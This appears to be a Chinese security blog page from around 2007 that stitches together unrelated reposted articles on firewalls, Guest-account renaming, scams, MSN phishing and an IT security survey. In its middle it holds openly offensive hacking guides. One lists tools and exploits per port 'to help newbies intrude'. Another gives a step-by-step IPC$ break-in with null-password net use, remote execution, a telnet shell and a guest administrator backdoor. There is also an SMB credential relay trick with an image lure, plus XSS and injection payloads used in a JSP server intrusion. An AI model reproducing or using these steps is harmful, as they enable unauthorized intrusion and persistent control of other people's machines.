  应用层受到攻击的概率越来越大,而传统网络防火墙在这方面有存在着不足之处。对此,少数防火墙供应商也开始意识到应用层的威胁,在防火墙产品上增加了一些弹性概念(Proof-Of-Concept)的特征,试图防范这些威胁。传统的网络防火墙对于应用安全的防范上效果不佳,对于上述列出的五大不足之处,将来需要在网络层和应用层加强防范。

另类伪装来宾帐户 让黑客永远找不到漏洞

  作者:中关村在线 杨睿

  Windows系统用户应该都知道,很多黑客入侵系统,设置肉鸡等跟系统的来宾帐户(Guest)不无关系。针对这个问题,有人采用禁用来宾帐户的方法以达到被黑客“访问”的目的。

  但是在禁用来宾帐户后,带来的最直接的问题就是其他用户无法正常访问你的文件夹,也就是说无法实现“互连互通”。所以,我们应该采用本文要介绍的方法:给来宾帐户(Guest)帐户改名。

  进入Windows vista,运行组策略编辑器,依次定位到“计算机配置”→“Windows 设置”→“本地策略”→“安全选项”,然后在右侧窗口中找到并双击“帐户:重命名来并帐户”。

  在弹出的对话框空白栏中将“Guest”改为其他名字(字母组合即可),比如“zolvista”,如下图所示:



图 重命名来宾帐户

  修改完毕后,保存设置退出组策略编辑器。此后,即可以避免黑客直接访问“Guest”,也不会影响“互连互通”,一举两得!

天上不会掉馅饼:防范网赚陷阱

天上不会掉馅饼:防范网赚陷阱

  天上可不会掉馅饼,来看看如何防止网赚陷阱

  老实说,现在网上搞网赚的,有80%以上是骗子。

  你可以到Baidu,Google搜索:网赚+骗子。这样你就可以看到成千上万的网页,随便点一个,看看是怎么说的。

  这里想把自己的一些体会写给网赚新手们:

  1.高工资,高收入的不可靠.宣称刚刚开始做工资就超过300块以上的,肯定是骗子,首先把它咔嚓了。 什么只要你一加入就能月赚三千,月赚一万的不用想都知道是骗子。天下没有免费的午餐,如果那么好赚他干嘛要极力推荐你。记住,人情是冷漠滴,没有人会那么好心。

  2.要缴费的得小心。你刚刚加入就迫不及待想敲诈你,会员费超过200的,全是骗子。会员费50以上的,一般不骗人的也不多。

  3.主页粗糙的,就是不漂亮的,都不要理它。想想,一个成功的,稳定的公司,他会在一座没装修的楼房里办业务吗?

  4.搜索引擎中大部分认为是骗子的不要做。在搜索引擎中一搜索,如果大部都说是骗子站,那90%以上是骗子了.这种站点不能做.当然也不排除有人恶意排挤(像新闻时报NEW***AR就被人搞过一次,结果那贴子回帖的几乎都在骂那贴的楼主),这就靠你辨别是非的能力了。

  5.假如你对某个网站动心了或者你开始相信它了,请到百度上搜索一下,比如前阵子流行的8趣通宝,你就搜索:8趣通宝+骗子,不用点网页就有很多人告诉你它是个骗子,无耻的骗子。

  6.在做任何抉择之前,以不相信任何人为基础,即使他说得多好,多美妙,即使他确实很有实力(不能保证那些实力不是靠骗人得来的),记住,不要相信任何人,包括我在内.....

警告:“查出谁把你从MSN删除”是骗局

  查出谁把你从MSN删除?原来这个所谓的查询网站是个钓鱼网站,大家小心了。

  “在不被发现的情况下查出谁把你从MSN中删除 http://www.messenger-blo****.tk”,近来,很多MSN用户收到了这样的消息,但当他们在该网站填入帐号后,却发现没有反应。瑞星安全专家警告说,这是流行于港台地区的MSN钓鱼骗局,用户的MSN帐号和密码会被网站窃取并利用。这种骗局近期已经流入我国内地,广大MSN用户应提高警惕。



图1 钓鱼陷阱

  瑞星专家介绍说,这些钓鱼网站目的就是要取得网友的帐号、密码,当用户在这些网站上填入自己的密码后,网站就会利用你的密码登录,然后向列表上的好友大量发送垃圾消息,以取得商业利益。据了解,目前并没有任何方法或工具可以查询哪位联络人把自己封锁了,任何宣称有此功能的网站或软件,都是想以此诈骗。  

  根据瑞星公司的监测数据,诈骗网站拥有数百个相似的域名,后缀大多是TK、HK和CN等。诈骗网站的内容以中文和英文为主,也有少数其它语言的版本。
 

  专家提醒说,针对此类网络钓鱼骗局,MSN用户应该采取如下措施防范:

  如果收到好友发来的类似消息,说明他的密码和帐号已经被盗,最好提醒他去修改自己的密码。

  目前这些诈骗网站已经被瑞星列入黑名单,用户可以安装卡卡上网助手来防范。安装后,当用户浏览诈骗网站时,卡卡助手会发出警示。

各个网络端口的入侵方法

各个网络端口的入侵方法

希望对新手入侵有帮助!

  1. 1433端口入侵

  scanport.exe 查有1433的机器

  SQLScanPass.exe 进行字典暴破(字典是关键)

  最后 SQLTools.exe入侵对sql的sp2及以下的系统,可用sql的hello 溢出漏洞入侵。

  nc -vv -l -p 本机端口 sqlhelloF.exe 入侵ip 1433 本机ip 本机端口

  (以上反向的,测试成功)

  sqlhelloz.exe 入侵ip 1433 (这个是正向连接)

  2. 4899端口入侵

  用4899过滤器.exe,扫描空口令的机器

  3. 3899的入侵

  对很早的机器,可以试试3389的溢出(win3389ex.exe)

  对2000的机器,可以试试字典暴破。(tscrack.exe)

  4. 80入侵

  对sp3以前的机器,可以用webdav入侵;

  对bbs论坛,可以试试上传漏洞(upfile.exe或dvup_delphi.exe)

  可以利用SQL进行注入。(啊D的注入软件)。

  5. serv-u入侵(21端口)

  对5. 004及以下系统,可用溢出入侵。(serv5004.exe)

  对5.1.0.0及以下系统,可用本地提升权限。(servlocal.exe)

  对serv-u的MD5加密密码,可以用字典暴破。(crack.vbs)

  输入一个被serv-u加密的密码(34位长),通过与字典档(dict.txt)的比较,得到密码

  6. 554端口

  用real554.exe入侵。

  7. 6129端口

  用DameWare6129.exe入侵。

  8. 系统漏洞

  利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞,进行溢出入侵。

9. 3127等端口

  可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)。

  10. 其他入侵

  利用shanlu的入侵软件入侵(WINNTAutoAttack.exe)。

经典IPC$入侵

  1. C:\>net use $">\\127.0.0.1\IPC$ "" /user:"admintitrators"

  这是用"流光"扫到的用户名是administrators,密码为"空"的IP地址(气好到家如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。

  2. C:\>copy srv.exe $">\\127.0.0.1\admin$

  先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。

  3. C:\>net time file://127.0.0.1/

  查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。

  4. C:\>at file://127.0.0.1/ 11:05 srv.exe

  用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊.

  5. C:\>net time file://127.0.0.1/

  再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。

  6. C:\>telnet 127.0.0.1 99

  这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。

  虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了

  7.C:\>copy ntlm.exe $">\\127.0.0.1\admin$

  用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。

  8. C:\WINNT\system32>ntlm

  输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!

  9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)为了以防万一,我们再把guest激活加到管理组

  10. C:\>net user guest /active:yes

  将对方的Guest用户激活

  11. C:\>net user guest 1234

  将Guest的密码改为1234,或者你要设定的密码

  12. C:\>net localgroup administrators guest /add

  将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

系统泄露密码入侵攻击分析

Windows访问139端口时自动用当前用户、密码连接,造成泄露用户密码,虽然其密码是加密的,但一样可以用来攻击。

  下面是SMB的密码认证方式。

  WINDOWS的139口的访问过程,箭头表示数据方向:

  1.客户端服务端

  2.客户端-------客户端类型、支持的服务方式列表等---------->服务端

  3.客户端服务器认证方式、加密用的key等-----------服务端

  认证方式就是用户级认证还是共享级认证和密码加密不,key是服务器随机生成的8个字节,WIN2000已经支持16个字节的 key。

  4.客户端--------------用户名、加密后密码----------------->服务端

  WIN9X、WINNT、WIN2000这有个漏洞,不经过提示等就把当前用户名,密码加密后发过去了,导致密码泄漏。这儿加密是DES的变形,lockedpass=chgdes(key,pass)。这儿的pass是作为DES变形的KEY,key是作为DES变形的待加密数据。

  5.客户端服务端

  WINDOWS客户端第4步有漏洞,显然服务端可以得到username和lockedpass=chgdes(key,pass), 其中key可以自由指定,因为这是服务方提供的,usname、pass是客户端当前访问者用户名和密码。这儿的加密变换不可逆,但已经可以用暴力法破解了,也已经有了这样的程序。其实我们有时并不一定要得到密码明文的,只要能提供连接需要的就可以了。我们来看得到lockedpass有什么用,我们反过去访问看看,telnet、ftp等连接要密码明文我们得到的lockedpass不能提供,那么我们考虑用同样加密算法传密码密文的服务呢?比如就是NETBIOS共享服务。前面是服务端得到东西,那现在就是站在客户端了,再看前面那过程,显然其实我们并不需要提供pass,是不是只需要提供username和lockedpass2=chgdes(key2,pass)就可以了?其中key2是现在的服务端提供的。看看我们有 usname和lockedpass=chgdes(key,pass)其中key我们可以自己指定,大家一看显然只要key=key2那么就需要的我们都有了是不是?所以我们要使得key=key2.

  好我们再仔细看看连接过程,别人连接两步1、2:

  1.客户端服务端

  2.客户端-------客户端类型、支持的服务方式列表等---------->服务端

  下面就该

  3.客户端服务器认证方式、加密用的key等-----------服务端

  这我们需要提供key,这儿我们不能随便提供key,需要提供key2,那么我们就要得到key2,显然需要连接NETBIOS服务回去。显然这而需要连接回去的11,22,33共3步(为了区分连接回去的步子用重号表示)才能得到key2,显然这2步和3步不需要有先后顺序。所以我们可以得到连接指定IP的NETBIOS服务然后等这用户来访问,这可能有时间超时等处理,或者等到任意IP连接NETBIOS服务后马上连回去,反正怎么处理方便、满足需要就怎么处理。

  下面显然就是设置 key=key2返回3,那就等4得到lockedpass了,第5步嘛就你自由处理了,要不返回密码错误,后面就是44、55……

  总的来就是1,2,11,22,33,3,4,5,44,55……显然你就是以那机器访问你的用户的身份去访问他的NETBIOS服务了,能干什么那就看那用户的权限了。

  注意有兴趣的可以把SAMB包的客户端程序修改加上一点服务的前几步就可以了。显然这主要利用的还是WINDOWS泄露当前用户名、加密密码漏洞。还有这需要别人来访问你的机器,这好办,邮件或者主页等里面来个

  IMGsrc”="file://ip/filename" ...

  就可以了。我实验了去掉机器139口服务(要不有139口要影响后面端口重定向),用端口重定向程序把来向139口定向回去,找另一个WINNT机器用

  file://ip/访问那重定向139口的机器,结果是没有密码提示就看到WINNT机器本身了。其实这时重定向端口程序那台机器已经用WINNT机器的当前用户访问WINNT了,只是由于没有客户端的处理界面不能操作。

追踪入侵JSP网站服务器




在用JSP制作的电子商务网站多如牛毛。但是对于JSP网站而言,安全性真的能够让人放心吗?面对层出不穷的黑客攻击和病毒袭击,JSP网站的服务器能够比其他网站的服务器器更加安全吗?前段时间,应朋友之邀,我对他们托管的三台服务器的主机进行了测试,发现了JSP网站存在的几个问题。

  入侵测试第一步:扫描

  扫描是入侵的第一步,它可以让你对即将入侵的目标有一个全面的了解。同时扫描还有可能发现扫描对象的漏洞,为入侵提供一个指导方向。

  朋友的两台服务器为Linux,一台为Windows系统,在路由器后面还有一台Cisco PIX 525对三台主机进行保护,只允许外部用户连接不同主机的部分端口,例如80,25,110。

  根据检测,Cisco PIX防火墙过滤规则设置比较严密,基本上没有多余端口允许外部用户访问。细致分析后,我发现,目标网络的主机通过地址转换来提供对外访问,内部使用192.168.*.*地址段。

  先不考虑那么多,找个扫描软件来看看主机的安全情况。我找来了X-Scan,在外部对这几台主机进行了端口扫描之后,生成了一份关于端口的报表,发现其中有一个Tomcat服务器,解释的自然就是JSP文件了。

  小知识:

  Tomcat Web服务器是一款开源的适合于各种平台的免费网络服务器。eBay.com与Dell 计算机等知名网站都采用或者曾经采用Tomcat的container容器执行Servlet 与JSP。

  看来,只能通过Web服务进行间接攻击。首先检查TCP 80端口的服务。我发现,新闻搜索的功能是由端口8080提供的,输入http:// 202.103.*.168:8080/之后,得到了一个系统管理登录页面,简单地测试了一下,输入“test/test”作为“用户名/口令”,似乎认证成功,但实际上并不能进入下一个页面。

  专家支招:对于扫描来说,它很容易暴露我们网站的弱势方面。应对扫描,我们可以架设一个蜜罐来误导扫描者,蜜罐可以让系统伪装成到处是漏洞,从而遮蔽真正存在的漏洞,也可以伪装成没有任何漏洞,让入侵者不知道从何入手。

  入侵测试第二步:漏洞尝试

  尝试JSP各种已知漏洞,这个是在扫描结果中无法获得任何有效信息指导入侵的情况下,被迫使用的方法。这种方法虽然效果不一定好,但是往往能够起到意想不到的效果,从而让入侵继续下去。

  我进行了JSP大小写的测试,因为JSP对大小写是敏感的,Tomcat只会将小写的jsp后缀的文件当作是正常的JSP文件来执行,如果大写了就会引起Tomcat将index.JSP当作是一个可以下载的文件让客户下载,若干测试后,我发现这个方法并不奏效,可能管理员已经在服务器软件的网站上下载了最新的补丁。

  我发现大部分的JSP应用程序在当前目录下都会有一个WEB-INF目录,这个目录通常存放的是JavaBeans编译后的class 文件,如果不给这个目录设置正常的权限,所有的class就会曝光。

  而采用JAD软件对下载的class文件反编译后,原始的Java文件甚至变量名都不会改变。如果网页制作者开始把数据库的用户名密码都写在了Java代码中,反编译后,说不定还能看到数据库的重要信息。那么,怎么得到这些文件呢?

  Tomcat版本的缺省“/admin”目录是很容易访问的。输入:http://202.103.*.168/admin/,管理员目录赫然在列。默认情况下,“User Name”应该是admin,“Password”应该是空,输入用户和密码后,并点击“Login”按钮,不能进入,陆续使用了几个比较常见的密码,也无济于事。

  默认情况下,Tomcat打开了目录浏览功能,而一般的管理员又很容易忽视这个问题。也就是说,当要求的资源直接映射到服务器上的一个目录时,由于在目录中缺少缺省的index.jsp等文件,Tomcat将不返回找不到资源的404错误,而是返回HTML格式的目录列表。

  想到了这点后,我打开刚才用X-Scan扫描后生成的报表文件,找到“安全漏洞及解决方案”栏目,看到了几个可能会有CGI漏洞的目录。在地址栏输入其中之一,返回结果如图1所示。


查看更多精彩图片

一些很典型的JSP文件和JS文件都列出来了。大喜之下,随便选择一个文件,点击右键,然后,选择“用FlashGet下载全部链接”选项,于是,这个目录下的所有文件都被我下载到了本地。

其中最有价值的是一个名字为dbconn.js的文件,看来程序设计者是为了方便省事,把一些数据库连接的密码和连接地址都写在里面了(这是很多开发者可能会忽略的问题)。不过,我现在最关心的还是Tomcat的管理员密码。

  简单破解后,发现Tomcat系统中的admin用户使用了非常简单的口令:web123456。利用这个漏洞,有了这个密码,下面的工作就相对简单了。

  专家支招:对于网站中的漏洞,我们要即时打上各种补丁,然后对几个已知的安全弱势方面进行加强,比如我们可以将“/admin”目录进行修改,让入侵者不容易找到管理路径。然后关闭Tomcat的目录浏览功能,让入侵者的漏洞尝试彻底失败。

  入侵测试第三步:注入攻击

  很多网站对于注入防范做得都很不到位,注入攻击可以让网站暴露出自己的数据库信息以至于暴露数据库表中的管理员账号和密码。

  重新登录Tomcat的管理界面,点击“Context (Admin)”这个链接,列出了WEB目录下的一些文件和目录的名称,现在就可以对Tomcat的Context进行管理,例如查看、增加、删除Context。

  回到Tomcat的管理界,我发现了一个上传文件的组件,并且网站还有一个论坛。于是,我编写了一个input.jsp文件,并将它当作一般的Web 应用程序,通过上传的组件上传到对方的WEB目录里。打开input.jsp这个页面(图2)。


查看更多精彩图片

  网页对查询窗体不会做任何输入验证,但是对用户名称的窗体则会。将数据填入窗体,来测试一下网页的漏洞,例子如下:

  (1)将<script language="javascript">alert(document.cookie)</script>填入搜索字段,以便用XSS 来显示进程的cookie。

  (2)将<iframe src=http://jakarta.apache.org></iframe>填入搜索字段来示范HTML 注入攻击。

  通过这些方法,我得到了一些论坛的用户信息,当然,这些都是针对JSP做的一些测试,以验证Web应用程序中的所有输入字段。有了用户信息,却没有密码,怎么办?在登录时,我发现了一个8888端口,这会是个什么服务呢?

  专家支招:在网页连接数据库的设计中,网页设计人员要加入对一些敏感符号的审核机制,屏蔽一些在数据库中有作用的符号,这可以在很大程度上成功防御注入攻击。

  入侵第四步:攻其“软肋”

  根据入侵的逐渐深入,系统存在的安全问题也渐渐清楚,下面就是针对网站的安全“软肋”进行攻击。一般针对安全“软肋”的攻击会使入侵成功。

  打开地址后,我发现这个端口运行的是Apache+PHP。也就是说,这台主机还可以编译PHP。从经验分析来看,管理员在JSP主机上同时安装PHP的主要目的可能是为了管理MySQL数据库。因此,这个端口很可能有phpMyadmin这款MySQL数据库管理软件。这个端口上会不会有数据库管理目录呢?果然不出我所料,在输入这个目录之后我发现,我进入了一个phpMyadmin的管理界面,可以对MySQL数据库进行任意操作。它支持从本地操作系统读入或者写入数据。更不可理解的是,管理员居然用root账户写在了数据库链接里面,想不控制这个数据库都不行了。

  打开其中的一个数据库,在“SQL”中输入“SELECT * FROM `administer`”,administer表中的数据全部显示出来了。和我前面用JSP探测的用户类型大致一致。至于他们的表和数据的删改权限,现在则完全在我的掌握之中了。

  专家支招:使用了一些软件的时候,我们尽量修改它的默认目录,将它改为一个不容易被猜解到的名字。同时在访问该目录的时候加入密码审核机制,就算入侵者找到了这个管理目录也无法获得进入目录的密码。

星期二, 十月 09, 2007

《信息周刊》:中美IT安全对比 数据窃贼两地作案

今年企业用户已在信息安全产品上耗资数十亿美元。企业对操作系统进行了漏洞修补和补丁升级,努力增强计算机用户对身份偷窃威胁的安全意识,但即便是这样,大多数机构仍然不觉得今年比去年更安全。

《InformationWeek》研究部和埃森哲咨询公司(Accenture,下称埃森哲)合作进行的第十年度“全球信息安全调查”显示, 美国1,101位受访者中的三分之二和中国1,991位受访者中的89%觉得和前一年相比,今年受到攻击的可能性依然没有降低,甚至危机感还有升级的趋势。

危机的起因让人们日益认识到,安全技术已变得过于复杂。对几乎一半的美国受访者来说,首要的安全挑战就是“安全管理的复杂度”。所谓“深度防 卫”(Defense-In-Depth)只是意味着“尽管拥有一堆重复的技术,但你却没法以一种直接有效的方式处理安全问题”,埃森哲的安全应用全球管 理总监阿拉斯泰尔·麦克威尔森(Alastair MacWillson)指出。“这就像你不得不给大门加了20把锁,原因是无法确定其中哪一把是真正有效的。”

  我们的结论显示,受访者的担心甚至还不够,特别是针对公司和客户资料的丢失与偷窃问题。仅三分之一的美国受访公司和少于一半的中国公司把“预防 泄密”作为最大的安全挑战。只有四分之一的美国受访者把未经授权的员工对文件或数据的访问,或外部人员做的客户数据盗窃列为最需要重视的3项安全隐患。除 此以外,包含公司数据的手机设备的丢失和偷窃,以及知识产权的失窃,是更为缺乏关注的安全问题。公司对这些安全隐患还普遍缺乏认识,但现实中已有大量令人 十分尴尬的报道——在过去一年半里除了零售企业TJX公司、美国退伍军人事务部(Department of Veterans Affairs)和美国乔治亚州社区卫生部(Community Health Department)都发生过数据丢失事件,当然,此外还有更多《InformationWeek》报道过的前车之鉴。

  实际上,在过去一年里,最受重视的安全隐患是病毒和蠕虫(65%的美国受访者和75%的中国受访者)、间谍软件、恶意软件、以及垃圾邮件(中美两国都是40%)。

  看错了方向?

  那是不是我们的安全专家把注意力投错了地方呢?美国国土安全局(Homeland Security)的国家网络安全办公室(National Cyber Security Division)的杰瑞·迪克逊(Jerry Dixon)同意这个观点。

  “你需要知道你的数据都存放在哪里,以及谁有权访问它们。”迪克逊表示。“这些决定了数据库中的数据完整性,而这些数据是开展业务的基础。”

  当被问到安全专家需要注意什么的时候,IT服务供应商BT Counterpane公司的首席技术官(CTO)布鲁斯·施奈尔(Bruce Schneier)感慨道:“第一是非法行为、第二是非法行为、第三还是非法行为,然后才是合规。”

  看起来安全专家确实没抓到重点,他们倾向于选择自己熟悉的安全问题来应对,而不是针对现在日益猖獗的,从客户数据和知识产权盗窃上获利的行为。然而,认真审视我们的调查结果,也显示机构正在觉醒,开始意识到客户信息和知识产权很容易受到数据盗贼的攻击。

  在调查中,对70%的美国受访者来说,今年更易受到攻击的首要原因是日益复杂,手段高明的攻击,包括SQL注入攻击。这是一种针对网站提交的数据请求进行攻击的技术,SQL注入的目的只有一个:通过访问网站应用从数据库里偷取信息。

  紧随其后的3个原因是:攻击公司网络的途径增多(包括无线接入点);攻击数量的增加;攻击者更多地出于恶意目的(如数据偷窃、数据毁坏、勒索 等)。我们的调查显示,尽管网络攻击的主要后果常常是网络瘫痪,但受访者认为攻击的主要目的与其说是令网络瘫痪,还不如说为盗窃财产(如客户或企业数 据)。只有13%的美国受访者认为他们最重视的3类攻击包括DOS(Denial of Service,拒绝服务攻击)和其他损害网络的攻击。这个数字比去年的26%大大降低。而在中国,仅有比该比例略高的受访者担心DOS攻击。

  某些安全专家也许过于乐观或是无知。僵尸网络(Botnets)可以远程控制IT资源(编者注:例如个人电脑),用于发动攻击和窃取信息(参见 《逃离僵尸网络》)。尽管目前还只有10%的美国受访者和13%的中国受访者把他列入最主要的3类攻击方式之一,这种安全威胁在去年的调查中已经上榜。对 此安全意识的不足也许是因为公司通常没有意识到他们受到僵尸网络的感染,而这也正是僵尸网络控制者所希望的。

  同样,病毒、蠕虫和钓鱼欺骗是美国受访者最看重的3类安全漏洞。身份盗窃位列其中的第七位。但这不代表可以忽视身份盗窃的威胁。身份盗窃和欺诈 对发生过数据泄露的公司来说就是最糟糕的噩梦,而还没有发生这类事故未必意味着安全措施足够,也许仅仅是运气问题。TJX公司就非常不走运,该公司IT系 统中的457万客户记录几年前遭到偷窃,直到今年早些时候才在美国佛罗里达州被发现。这些信息被用来制作伪造的信用卡,并在几个沃尔玛商场欺诈消费了几百 万美元。去年数据泄密的一个典型的案例就是退伍军人事务部的数据失窃案,该机构的一台笔记本电脑在一位员工的家里失窃,其上有2,700万条记录。但到目 前为止,还没有发现任何身份盗窃和欺诈活动与这起安全事故相关。

  另一个数据安全日益获得重视的标志是:美国受访者衡量安全投资回报时最看重的是可以削减多少与安全问题相关的工作时间(43%的受访者),第二优先考虑的是这些安全措施能否更好地保护客户记录(35%的受访者),排在第三位的是能减少的安全漏洞数量(33%)。

  也许整个调查里最令人震惊的是,将近四分之一的美国受访者根本不评估他们的安全投资回报。

  幸运儿

  就像前文所述,网络攻击最突出的影响是导致网络瘫痪,紧随其后的是业务应用包括电子邮件不能正常使用。在网络攻击影响列表里排第三位的是保密信 息被侵犯,有四分之一的美国受访者和41%的中国受访者认同。排名第四位有18%的美国公司和21%的中国公司认为是“轻度”的经济损失。相比之下,仅仅 破点小财的企业可算是幸运儿了。

  由于安全失误导致的经济损失其实在短期内是难以估算的,特别是包含有数据失窃的事故。实际上,受访者中最高比例的人,35%的美国公司和31%的中国公司承认他们无法得知因数据失窃造成的损失总值有多大。

  但长期来看,令人痛苦的安全损失会日益显露出来。据报道,到今年4月28日TJX在第三季度因计算机入侵而承受的损失高达2千万美元。而佛罗里达州的沃尔玛商场也损失了将近8百万美元的交易。

  深藏不露的恶意黑客和网络盗贼要对过去一年来的多宗大规模数据失窃案负责,而安全专家们的主要精力都用于应对下一波的攻击上了。多数受访者认为 过去一年里数据失窃和公司间谍案的罪魁祸首是计算机黑客。但同样引人注目的是,非法用户导致的数据失窃从2006年的28%上升到2007年的34%。

  理查德·马里奥(Rich Marreel)是美国内布拉斯加州林肯市BryanLGH医疗中心的首席信息官(CIO)。他最关注的安全问题是病人数据的保护,以免因恶意黑客或员工 有意无意的非法使用导致数据被侵犯。马里奥表示:“我们一直担心员工和其他外部人员共享授权验证信息,或通过笔记本电脑和记忆棒从机构带走信息。”解决方 案就是:同时加强对员工的教育和提升安全技术,包括加密技术的应用。

  马里奥认为,不认真管理用户访问权限或要求用户保护好自己的登陆帐号和密码信息,公司就等于引入了“潜藏的威胁”。马里奥指出,在医院“许多人把登陆帐号和密码写下来带着到处走,甚至把信息存在他们的个人电脑里。”这些情况我们以前还见得少吗?

  中国因素

  美国和中国受访者在许多问题上的回应是相似的,但在许多方面也存有差异。例如,两国的首要攻击方式都是针对已知的操作系统漏洞——美国公司占 43%而中国公司占了压倒性的三分之二。对第二大攻击方式--已知应用漏洞,也同样存在比例上的差异,41%的中国受访者承认受到这种方式的入侵,而对比 之下美国的比例少于四分之一。这可能是因为中国盗版软件的使用比较猖獗而导致,埃森哲的麦克威尔森分析指出,“因为这样他们就没法升级更新补丁了。”

  受访者反馈的其他攻击方法包括在电子邮件附件中包含虚假内容(26%和25%),攻击未知的操作系统漏洞(两国分别为24%和31%的比例)。 然而这些入侵,还不是唯一需要担心的问题。804位美国受访者承认在过去一年里发生过数据泄密和商业间谍活动,18%认为这是非法用户的问题,而16%怀 疑是合法用户和员工所致。

  与2006年25%的公司发生过数据泄露相比,该数字今年有所下降。这真让人意外,因为员工仍然是安全链上最薄弱的环节。加里·敏(Gary Min)欺诈自己的前雇主杜邦化学公司(DuPont),企图把公司价值4亿美元的商业机密卖给杜邦的竞争对手,被公司及时发现并向美国联邦调查局 (FBI)举报。就在众人眼皮底下,加里·敏可以堂而皇之地访问到杜邦的电子数据图书馆(EDL)服务器上超大容量的文档摘要和pdf文件全文。该服务器 是杜邦公司存放保密和专有信息的主要数据库之一。加里·敏从这台EDL上下载了22,000份摘要并访问过16,706份文档——在事发的时候他能访问到 的文件数量比仅低他一个访问等级的人竟高出15倍之多。他最后认罪并面临10年的牢狱和25万美元的罚款和赔偿。

  除了纯粹的欺诈行为,员工也可能无法保护存放在公司IT资产(主要指笔记本电脑)上的数据。从员工的车辆和家中被窃的笔记本和移动设备数量惊 人。上个月一台保存有超过65,000份记录,包含美国俄亥俄州政府所有员工名字和社会保险号信息的计算机备份存储设备就在一位州政府实习生的车里被盗 了。在一年多前失窃的一台笔记本电脑保存有hotels.com公司的243,000份用户数据,包含姓名、地址、信用卡和借记卡信息。被窃地点是在安永 会计师事务所(Ernst & Young)一位员工的车里。“这些大多数都是因为人为过失或糟糕的业务流程所导致的。”麦克林风险伙伴公司(MacLean Risk Partners)的首席执行官(CEO)、前美国银行和波音公司的首席安全官朗达·麦克林(Rhonda MacLean)这么认为。

  类似地,尽管只有5%的受访者认为合同服务提供商、顾问或审计人员也是数据失窃的根源。但这不意味着就可以忽略他们。

  在今年4月份,据报道美国乔治亚州社区卫生部(Department of Community Health)一个含有290万条记录的计算机硬盘在服务提供商Affiliated Computer服务公司遗失,该公司负责处理乔治亚州医疗保健支付申请,丢失的硬盘上有包括姓名、地址、生日、医疗补助,医疗保险识别号、社会福利号等 个人信息。

  “如果合作伙伴或服务提供商有权访问我们的数据,我们会要求在合同里加入安全条款,使我们有权对他们进行安全监督并定期执行。”Web远程会议 公司WebEx的首席安全官兰迪·巴尔(Randy Barr)表示。从2004年开始,他们的安全策略就要求所有能访问公司系统的承包商都必须经过背景调查。

  你也许认为只要对员工与合作伙伴进行一番公司安全策略教育,就足防止一个老实人通过电子邮件、即时通信、或是点对点网络泄露客户的信息。如果这 样想,那可大错特错了。虽然2007年受访美国公司最关注的安全措施就是建立和强化用户对安全的意识,占37%。但这要低于2006年的42%。一小部分 的美国公司还计划安装更好的访问控制、监控和安全远程访问系统。在中国,公司更专注的是安装应用防火墙、更好的访问控制和监控软件。

  只有19%的受访者表示安全技术和政策培训对消除与员工相关的安全威胁有重大影响,该数字与去年持平。“这可不只是给他们放几个视频就了事。”顾问麦克林回应道,“你要跟踪员工的培训,确保至少在培训结束后员工对你希望灌输给他们的安全理念有个基本认识。”

  在过去一年里,加利福尼亚州兰乔米拉奇(Rancho Mirage)市艾森豪威尔医疗中心(Eisenhower Medical Center)正面临巨大变更,因为该机构开始从纸质病历向电子病历系统转移,这也给安全带来巨大的影响。“这给我们带来更重大的责任,以确保病人的数据 是安全的。”CIO大卫·佩雷兹(David Perez)表示,“挑战不单是因为现在要改用在线数据,而且数据的超大容量也是个问题。几年前一次CAT扫描会生成250到500张图片,而我们的新系 统则会产生高达5,000张图片。”

  随着越来越多的医生和医疗人员登陆艾森豪威尔医疗中心的内部网门户处理工作,佩雷兹和他的团队必须提高对安全的监控,并确保其符合健康保险流通 与责任法案(Health Insurance Portability and Accountability Act)的相关规定,使医生和员工只能访问各自的病历资料。“使用者在加入医疗中心时必须要签订保密协议,”佩雷兹说。“我们还会在员工门户站点张贴相应 的提示信息。”

  老大哥式的做法

  有些公司宁愿采用老大哥式的监控方法。在美国受访者中有的公司监控员工行为,其中51%的监控电子邮件,40%监控网站浏览,35%监控电话, 大致与去年的数字相同。然而,其它的数据泄露源头就较少受到关注:只有29%监控即时通信的使用,22%检查电子邮件的附件,20%监控向外发送的电子邮 件内容。而只有寥寥几个公司密切关注移动存储设备的使用。

  然而,42%的受访者认为数据泄密是严重事故,一旦经过培训,员工就应该为导致安全泄密而受到解雇或惩罚。而顾问麦克林的做法则更严苛:“开除的处理是很严厉。但在某些事例上,这样的处理是恰当的,甚至可以提请民事甚至刑事诉讼。”

  相当大一部分的受访者希望填补安全漏洞的责任由提供技术的安全厂商承担。46%的美国公司和47%的中国公司认为安全厂商应该对他们产品和服务里的安全漏洞负法律和经济责任。

  公司机构对IT安全的不安也许可以归咎于大多数公司都缺乏一个集中式的安全主管来评估风险和威胁,并针对这些威胁进行整治。在大多数公司,安全 策略的设置都是合作进行的,包括CIO、CEO、IT管理人员和安全管理人员组成的团队都会提出自己的意见。艾森豪威尔医疗中心也没有首席信息安全官 (CISO),而是依靠他的顾问组把握对常规管理条例的决策,而CIO佩雷兹则和系统管理员一起设置安全策略。“我们从各部门主管那儿收集信息,以确定他 们需要访问哪些系统和数据。"佩雷兹总结说,"这个你进我退,讨价还价的过程很有意思。医生们希望访问更便捷,而我们则尽量使系统更安全。”

